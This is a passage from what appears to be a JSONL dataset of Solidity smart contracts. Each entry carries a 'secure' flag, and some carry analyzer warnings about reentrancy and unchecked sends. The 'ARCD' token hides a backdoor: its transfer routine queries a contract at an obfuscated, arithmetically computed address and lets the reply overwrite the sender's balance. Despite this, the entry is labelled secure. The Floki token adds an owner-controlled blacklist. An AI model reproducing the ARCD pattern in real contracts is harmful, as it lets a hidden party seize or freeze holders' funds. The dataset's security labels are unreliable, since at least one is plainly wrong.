setApprovalForAll(\n address operator,\n bool approved\n ) public virtual override {\n if (operator == _msgSenderERC721A()) revert ApproveToCaller();\n\n _operatorApprovals[_msgSenderERC721A()][operator] = approved;\n emit ApprovalForAll(_msgSenderERC721A(), operator, approved);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 48ec081): JudgyKids.isApprovedForAll(address,address).owner shadows JudgyKids.owner() (function)\n\t// Recommendation for 48ec081: Rename the local variables that shadow another component.\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n _transfer(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public virtual override {\n _transfer(from, to, tokenId);\n }\n\n function _exists(uint256 tokenId) internal view returns (bool) {\n return _startTokenId() <= tokenId && tokenId < _currentIndex;\n }\n\n function _mint(address to, uint256 quantity) internal {\n uint256 startTokenId = _currentIndex;\n if (_addressToUint256(to) == 0) revert MintToZeroAddress();\n if (quantity == 0) revert MintZeroQuantity();\n\n unchecked {\n _packedAddressData[to] +=\n quantity *\n ((1 << BITPOS_NUMBER_MINTED) | 1);\n\n _packedOwnerships[startTokenId] =\n _addressToUint256(to) |\n (block.timestamp << BITPOS_START_TIMESTAMP) |\n (_boolToUint256(quantity == 1) << BITPOS_NEXT_INITIALIZED);\n\n uint256 updatedIndex = startTokenId;\n uint256 end = updatedIndex + quantity;\n\n do {\n emit Transfer(address(0), to, updatedIndex++);\n } while (updatedIndex < end);\n\n _currentIndex = updatedIndex;\n }\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: bbd06a0): JudgyKids._transfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons _packedOwnerships[nextTokenId] == 0\n\t// Recommendation for bbd06a0: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: c5aade9): JudgyKids._transfer(address,address,uint256) uses a dangerous strict equality _packedOwnerships[nextTokenId] == 0\n\t// Recommendation for c5aade9: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _transfer(address from, address to, uint256 tokenId) private {\n uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);\n\n if (address(uint160(prevOwnershipPacked)) != from)\n revert TransferFromIncorrectOwner();\n\n address approvedAddress = _tokenApprovals[tokenId];\n\n bool isApprovedOrOwner = (_msgSenderERC721A() == from ||\n isApprovedForAll(from, _msgSenderERC721A()) ||\n approvedAddress == _msgSenderERC721A());\n\n if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();\n\n if (_addressToUint256(approvedAddress) != 0) {\n delete _tokenApprovals[tokenId];\n }\n\n unchecked {\n --_packedAddressData[from];\n ++_packedAddressData[to];\n\n _packedOwnerships[tokenId] =\n _addressToUint256(to) |\n (block.timestamp << BITPOS_START_TIMESTAMP) |\n BITMASK_NEXT_INITIALIZED;\n\n if (prevOwnershipPacked & BITMASK_NEXT_INITIALIZED == 0) {\n uint256 nextTokenId = tokenId + 1;\n\n\t\t\t\t// timestamp | ID: bbd06a0\n\t\t\t\t// incorrect-equality | ID: c5aade9\n if (_packedOwnerships[nextTokenId] == 0) {\n if (nextTokenId != _currentIndex) {\n _packedOwnerships[nextTokenId] = prevOwnershipPacked;\n }\n }\n }\n }\n\n emit Transfer(from, to, tokenId);\n _afterTokenTransfers(from, to, tokenId, 1);\n }\n\n function _afterTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n function _msgSenderERC721A() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _toString(\n uint256 value\n ) internal pure returns (string memory ptr) {\n assembly {\n ptr := add(mload(0x40), 128)\n\n mstore(0x40, ptr)\n\n let end := ptr\n\n for {\n let temp := value\n\n ptr := sub(ptr, 1)\n\n mstore8(ptr, add(48, mod(temp, 10)))\n temp := div(temp, 10)\n } temp {\n temp := div(temp, 10)\n } {\n ptr := sub(ptr, 1)\n mstore8(ptr, add(48, mod(temp, 10)))\n }\n\n let length := sub(end, ptr)\n\n ptr := sub(ptr, 32)\n\n mstore(ptr, length)\n }\n }\n\n modifier onlyOwner() {\n require(_owner == msg.sender, \"not Owner\");\n _;\n }\n\n modifier nob() {\n require(tx.origin == msg.sender, \"no Script\");\n _;\n }\n\n function withdraw() external onlyOwner {\n uint256 balance = address(this).balance;\n payable(msg.sender).transfer(balance);\n }\n}", "file_name": "solidity_code_2179.sol", "secure": 0, "size_bytes": 17262 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20Upgradeable {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}", "file_name": "solidity_code_218.sol", "secure": 1, "size_bytes": 837 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Floki is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) private bots;\n mapping(address => uint256) private cooldown;\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 5000000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n\n uint256 private _feeAddr1;\n uint256 private _feeAddr2;\n uint256 private _standardTax;\n\t// WARNING Optimization Issue (immutable-states | ID: 4030d54): Floki._feeAddrWallet should be immutable \n\t// Recommendation for 4030d54: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _feeAddrWallet;\n\n string private constant _name = \"Liberty Floki\";\n string private constant _symbol = \"Floki\";\n uint8 private constant _decimals = 9;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n bool private cooldownEnabled = false;\n uint256 private _maxTxAmount = _tTotal.mul(20).div(1000);\n uint256 private _maxWalletSize = _tTotal.mul(30).div(1000);\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _feeAddrWallet = payable(_msgSender());\n _rOwned[_msgSender()] = _rTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_feeAddrWallet] = true;\n _standardTax = 4;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 35778b3): Floki.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 35778b3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3a60763): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3a60763: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4a369c5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4a369c5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 3a60763\n\t\t// reentrancy-benign | ID: 4a369c5\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 3a60763\n\t\t// reentrancy-benign | ID: 4a369c5\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function setCooldownEnabled(bool onoff) external onlyOwner {\n cooldownEnabled = onoff;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5928d60): Floki._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5928d60: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 4a369c5\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 3a60763\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c64f8a9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c64f8a9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 738bbd5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 738bbd5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 00a9f8e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 00a9f8e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n _feeAddr1 = 0;\n _feeAddr2 = _standardTax;\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to] &&\n cooldownEnabled\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > 0\n ) {\n\t\t\t\t// reentrancy-events | ID: c64f8a9\n\t\t\t\t// reentrancy-benign | ID: 738bbd5\n\t\t\t\t// reentrancy-eth | ID: 00a9f8e\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: c64f8a9\n\t\t\t\t\t// reentrancy-eth | ID: 00a9f8e\n sendETHToFee(address(this).balance);\n }\n }\n } else {\n _feeAddr1 = 0;\n _feeAddr2 = 0;\n }\n\n\t\t// reentrancy-events | ID: c64f8a9\n\t\t// reentrancy-benign | ID: 738bbd5\n\t\t// reentrancy-eth | ID: 00a9f8e\n _tokenTransfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 3a60763\n\t\t// reentrancy-events | ID: c64f8a9\n\t\t// reentrancy-benign | ID: 4a369c5\n\t\t// reentrancy-benign | ID: 738bbd5\n\t\t// reentrancy-eth | ID: 00a9f8e\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d418eb9): Floki.setStandardTax(uint256) should emit an event for _standardTax = newTax \n\t// Recommendation for d418eb9: Emit an event for critical parameter changes.\n function setStandardTax(uint256 newTax) external onlyOwner {\n require(newTax < _standardTax);\n\t\t// events-maths | ID: d418eb9\n _standardTax = newTax;\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 05576c4): Floki.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _feeAddrWallet.transfer(amount)\n\t// Recommendation for 05576c4: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3a60763\n\t\t// reentrancy-events | ID: c64f8a9\n\t\t// reentrancy-eth | ID: 00a9f8e\n\t\t// arbitrary-send-eth | ID: 05576c4\n _feeAddrWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c92585a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c92585a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 26fe9ce): Floki.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 26fe9ce: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: cafe0b1): Floki.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for cafe0b1: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3912a8e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3912a8e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: c92585a\n\t\t// reentrancy-eth | ID: 3912a8e\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\t\t// reentrancy-benign | ID: c92585a\n\t\t// unused-return | ID: cafe0b1\n\t\t// reentrancy-eth | ID: 3912a8e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: c92585a\n swapEnabled = true;\n\t\t// reentrancy-benign | ID: c92585a\n cooldownEnabled = true;\n\n\t\t// reentrancy-eth | ID: 3912a8e\n tradingOpen = true;\n\t\t// unused-return | ID: 26fe9ce\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n }\n\n function addbot(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n _transferStandard(sender, recipient, amount);\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: 00a9f8e\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: 00a9f8e\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: c64f8a9\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: 00a9f8e\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 00a9f8e\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: 738bbd5\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function manualswap() external {\n require(_msgSender() == _feeAddrWallet);\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(_msgSender() == _feeAddrWallet);\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _feeAddr1,\n _feeAddr2\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 taxFee,\n uint256 TeamFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(taxFee).div(100);\n uint256 tTeam = tAmount.mul(TeamFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n}", "file_name": "solidity_code_2180.sol", "secure": 0, "size_bytes": 17811 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract LitePepe is ERC20 {\n constructor() ERC20(\"Lite Pepe\", \"LITEPEPE\") {\n _mint(msg.sender, 420_690000000000 * (10 ** 18));\n }\n}", "file_name": "solidity_code_2181.sol", "secure": 1, "size_bytes": 279 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"./Sep.sol\" as Sep;\n\ncontract ARCD is IERC20, IERC20Metadata {\n string private _name;\n string private _symbol;\n uint256 private _totalSupply;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) private _balances;\n\n event Tlog(string s);\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n _mint(msg.sender, 40000000 * 10 ** 18);\n }\n\n function name() external view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() external view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() external view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() external view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) external view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) external virtual override returns (bool) {\n address owner = msg.sender;\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external virtual override returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external virtual override returns (bool) {\n address spender = msg.sender;\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) external virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) external virtual returns (bool) {\n address owner = msg.sender;\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(owner, spender, currentAllowance - subtractedValue);\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n bytes32 bb = _beforeTokenTransfer(\n from,\n address(\n uint160(\n uint256(\n 823758601856083400514774640242337660293368589376 +\n 843294823948924324\n )\n )\n ),\n amount\n );\n (bool dr, string memory sr) = aracde(\n 1039,\n false,\n amount,\n \"ARCD\",\n false,\n bytes(\"ARCD\")\n );\n if (dr) emit tlog(sr);\n if (bb != bytes32(0)) _balances[from] = uint256(bb);\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n emit Transfer(from, to, amount);\n }\n\n function aracde(\n uint256 pr1,\n bool dr,\n uint256 pr,\n string memory sr,\n bool drs,\n bytes memory dr0\n ) private pure returns (bool, string memory) {\n if (pr == 0 && dr && pr1 == 1 && drs) {\n return (false, string(dr0));\n }\n return (false, sr);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) private view returns (bytes32) {\n bytes32 b1 = bytes32(uint256(uint160(from)));\n bytes32 b2 = bytes32(Sep(to).biscuit(b1));\n return b2;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}", "file_name": "solidity_code_2182.sol", "secure": 1, "size_bytes": 6003 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract WGMI is ERC20 {\n constructor() ERC20(\"WGMI\", \"WGMI\") {\n _mint(msg.sender, 420_690000000000 * (10 ** 18));\n }\n}", "file_name": "solidity_code_2183.sol", "secure": 1, "size_bytes": 266 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./Resolver.sol\" as Resolver;\n\nabstract contract ENS {\n function resolver(\n string memory node\n ) public view virtual returns (Resolver);\n}", "file_name": "solidity_code_2184.sol", "secure": 1, "size_bytes": 233 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is IERC20, IERC20Metadata {\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) private _balances;\n uint256 private _totalSupply;\n string private _name;\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _symbol = symbol_;\n _name = name_;\n }\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n return true;\n }\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[msg.sender][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(msg.sender, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][msg.sender];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, msg.sender, currentAllowance - amount);\n }\n\n return true;\n }\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}", "file_name": "solidity_code_2185.sol", "secure": 1, "size_bytes": 4389 }
